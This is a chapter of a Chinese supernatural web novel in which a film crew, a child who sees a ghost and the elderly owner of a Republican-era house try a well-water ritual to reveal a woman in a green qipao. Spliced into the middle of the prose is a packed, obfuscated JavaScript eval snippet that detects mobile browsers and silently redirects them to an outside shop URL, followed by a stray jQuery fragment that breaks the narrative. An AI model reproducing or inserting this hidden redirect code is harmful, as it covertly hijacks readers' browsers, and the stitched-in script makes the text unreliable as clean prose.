二人连忙赶过去,一进门,林星意悬着的心就落了地——女王大人正举着手机,屏息凝神地蹲在地上,围着个什么左拍右录,眼睛里闪烁着那种“节目素材这不就来了”的狂喜。
见林星意和姬珩推门进来,她忙把食指竖到唇边,做了个“噤声”的手势。那小心翼翼的模样,倒像是怕把鬼给吓跑了。
林星意丈二和尚摸不着头脑,看向一旁,小月亮倒是悠闲,叼着棒棒糖、赤着一双小脚坐在床沿,晃荡着脚丫,一脸天真。
姬珩低声问:“怎么了?”
姬且宁朝镜头前努努嘴,大家低头一看,这才发现,小月亮原本那双奶黄色卡通小拖鞋不见了,取而代之的,居然是一双浅松绿的绣花鞋!
“怎么会……”林星意失声道。
正是他梦中出现的那双!怎么竟阴魂不散纠缠到了现实里?!
“你认识?”姬且宁敏锐地看向他。
林星意咽了口口水,磕磕巴巴地把刚刚做的那个梦跟众人讲了一遍。又蹲下身,仔仔细细地看那双绣花鞋。
那鞋子通体浅绿,缎面柔滑,绣着银线缠枝花纹,一看就是上等的佳品。不过虽然保养得极好,但刺绣的花样和绣线的氧化都透出浓重的年代感,显然有些年头了。
这样的鞋,出现在这样一所民国的洋房里,好像毫不出奇,又似乎无处不透着诡异。
“我这几天怪梦连连的,甚至有时候会分不清,到底是在现实还是在梦里。”林星意有些恍惚,“梦里应该是两个女人。一个穿浅绿旗袍,好像一直在等人,会轻声细语地跟我说‘你回来啦’,我一直没看清过她的脸。另一个……”他犹疑了一下,“就是剧本里那个厉鬼女佣小桃,后面确实也有冥婚的情节,可是她怎么也穿着绿色绣花鞋?难道她们是同一个人?可这也对不上啊……”
他越说越乱,捶捶脑袋,像是要把里面的浆糊摇匀,“说起来,那天小月亮的鞋子乱了,也是莫名其妙被摆得整整齐齐,还是鞋尖朝内,今天干脆直接换了一双……这鬼到底想干什么?”
姬且宁托着下巴,若有所思:“鞋音通‘邪’,贴身,又不洁,忌讳向来很多。现实里突然冒出来这么一双不吉利的绣花鞋……这鬼难不成是在跟我们示威?”
小月亮眨巴着大眼睛,小粮食不能理解,“什么吉不吉利的呀?这就是那个阿姨的鞋子呀。”
众人皆惊。
姬且宁立即蹲下,问道:“小月亮见过那个阿姨?在哪里?”
小月亮一点儿磕绊都没打,脆生生道:“只要哥哥穿上那身白色西装,阿姨就会跟在哥哥身后呀。”
林星意的后背瞬间蹿起一阵恶寒,毛骨悚然的,忍不住回头张望了一眼。
姬珩安抚地摸摸他的背。
林星意感觉他的手法像是在撸铁柱。
姬且宁追问,“那除了哥哥身后,小月亮还在哪里见过她?”
小月亮有点奇怪地看她一眼,小手朝窗外一指,不忘吧唧一口棒棒糖,“那个阿姨现在就在那个秋千上玩儿呢呀。”
大家齐齐扭头。今夜无月,庭院里只亮着几盏昏黄的灯,老桂花树散发出幽幽的甜香,旁边的秋千无风而动,铁链微微摇晃,仿佛有个看不见的人正坐在上面,一下一下地荡着。
…………
来得急,姬且宁忘了带牛眼泪。只好就地取材,听天由命。
好在这是个恐怖片剧组,乱七八糟的道具倒是不缺。众人听她指挥,跟办家家酒似的翻腾起来:这个去拿线香、白蜡烛、木盆,那个从厨房摸几个生鸡蛋,又蒸了些半生不熟的白米饭,还现泡了一壶热茶灌在保温杯里。
几个人抱着这堆东西,鬼鬼祟祟朝秋千走,活像几个躲城管的鬼市小贩。
东西被一一排布在秋千架前,姬且宁看了看时间,晚上十点半。
“差半小时到子时。子时阴阳交替,界限模糊,见鬼效果最好,现在先准备着。”她努力绷出一副老练的架势,但声音里多少有点发虚。
林星意看着那堆乱七八糟的玩意儿,忍不住问:“这……真能有用?”
姬且宁叹了口气,“死马当活马医吧。再说,我多少有那么一点灵力,比起普通人,用这些法子还是会灵一点点的。”
她又扫了一眼道具,遗憾道:“要是有井水就更好了。”
“后院有口废弃的井,”林星意自告奋勇,“我去打。”
这口井估计自通自来水后就再没用过,辘轳和井绳尚在,只是井口用木板遮了。他弯腰刚把木板搬开,才直起身,就见树丛阴影里突然悄无声息地闪出一个人影,惨淡的灯光正打在那张皱纹纵横的脸上。
“啊——!”林星意吓得脚底一滑,差点真的栽进井里。他定睛一看,心脏还在嗓子眼狂跳,“老太太!这么晚了您还不睡觉,在这儿干嘛呢?!”
来人正是洋房的主人,亿万富婆小老太太。
老太太的语气依旧是不紧不慢,从容淡定,“人老了,觉少。屋子里闷得慌,不如出来走走。”她直直盯着林星意,“我还想问你呢,小伙子,这大晚上的,你又是搬井盖又是拿木盆,要干什么啊?”
老太太目光如炬,似乎能看透一切,林星意下意识地想把木盆往身后藏。
老太太的视线在木盆和井口之间一转,眼睛亮得惊人,“你这是要……见鬼?”
林星意大惊,矢口否认,尽情胡扯,“哪儿有!您不要那么迷信好不好?就是个美容偏方,井水敷脸可滋润了,一般人我不告诉他。您也知道我们这一行竞争有多激烈,我只能半夜偷偷来打这井水……”
老太太也不打断,就眯着眼睛听他瞎编。等他编无可编,才古怪地笑了一声,悠悠道:“小伙子,不要以为我是老糊涂了,就好糊弄。烧纸看鬼、倒头饭引魂、午夜梳头……老婆子试过的见鬼法子,比你拍过的戏都多。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593145|203523||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林星意小声嘀咕了一句:“那您其实也没试过几个啊……”
老太太一噎,眯起眼睛,“你是在跟我装傻?”
林星意果断装傻,低头不吭声了。
老太太幽幽叹了口气,“可惜啊,这么多法子,没一个起效的,老婆子也只能死马当活马医了。”她重新抬起眼,目光灼灼,“如果你还想在这里安生拍戏,那今晚见鬼,带我一个。”
林星意大惊失色,却在老太太的胁迫下,被迫打好了井水,把人带了回去。姬且宁一听,把头摇得像拨浪鼓,连声猛劝,说自己实在负不起这个责任。
老太太却只一句话,“没得商量。”
见他们还在犹豫,老太太忽而放软了声音,近乎哀求:“我八十了,还能活几年呢?实在不行,我老婆子给你们写一张承诺书,承诺跟你们全无关系,死生自担,绝不牵连你们半分,这样可以吗?”
七老八十能做大家祖母的人,这样软语哀求,话都说到这份上了,姬且宁跺了跺脚,只能咬牙点头。
姬珩问了小月亮,她看到的阿姨在哪里。姬且宁用木盆盛满刚打上来的冰凉井水,端端正正放在秋千架前。又打破一枚鸡蛋,滴入水中轻轻搅浑,然后目不转睛地盯着水面。
据说待水面平静,就能倒映出不属于这个世界的东西。
于是,五个人——姬且宁、姬珩、小月亮、林星意,加上老太太,齐刷刷围成一个小圈,伸着脖子死死盯住一盆浑水。那场景着实有些滑稽,可是大家都很严肃。只有小月亮还在状况外,用小手扒着盆沿,好奇地想捞水里的月亮。
他们盯得眼睛发酸,水面上除了几个人的模糊倒影,什么也没有。林星意实在没忍住,又问一遍:“真的有用吗?”
姬且宁底气明显不足,声音飘忽,“书上讲的,井水属阴,水面为镜,能映出不属于此世之物。鸡蛋作为生命介质,可以沟通阴阳。理论上……应该没错啊。”她讪讪地端起那碗夹生饭,“不然,咱再试试别的?”
老太太有些失望,轻轻叹息一声,转身就想走。
就在这时,一直沉默的姬珩忽然掏出一把小刀,划破手指,伸入盆中,搅了搅。
几乎是立竿见影。
血液入水化开,一股沉沉的黑暗竟如墨汁一般从盆底翻涌上来。刹那间,整盆水变成了一汪不见底的深黑。
待水面重新平静下来,景象已截然不同——现实里只是微微晃动的秋千,此刻在水面上竟高高地晃荡,人形随着秋千的起伏,一次又一次掠过水面,仿佛坐在上面的人正快乐地荡着她生前的秋千。
水盆里看不见脸,只有秋千和那身浅松绿色的旗袍,一下一下的晃动着,空气里仿佛传来遥远又轻柔的笑声。
老太太死死盯着水面,看着那身浅松绿色的旗袍,泪水潸然而下。嘴唇哆嗦了好久,才仿佛拼尽全身力气般,发出一声低哑的呼唤:
“小姐!”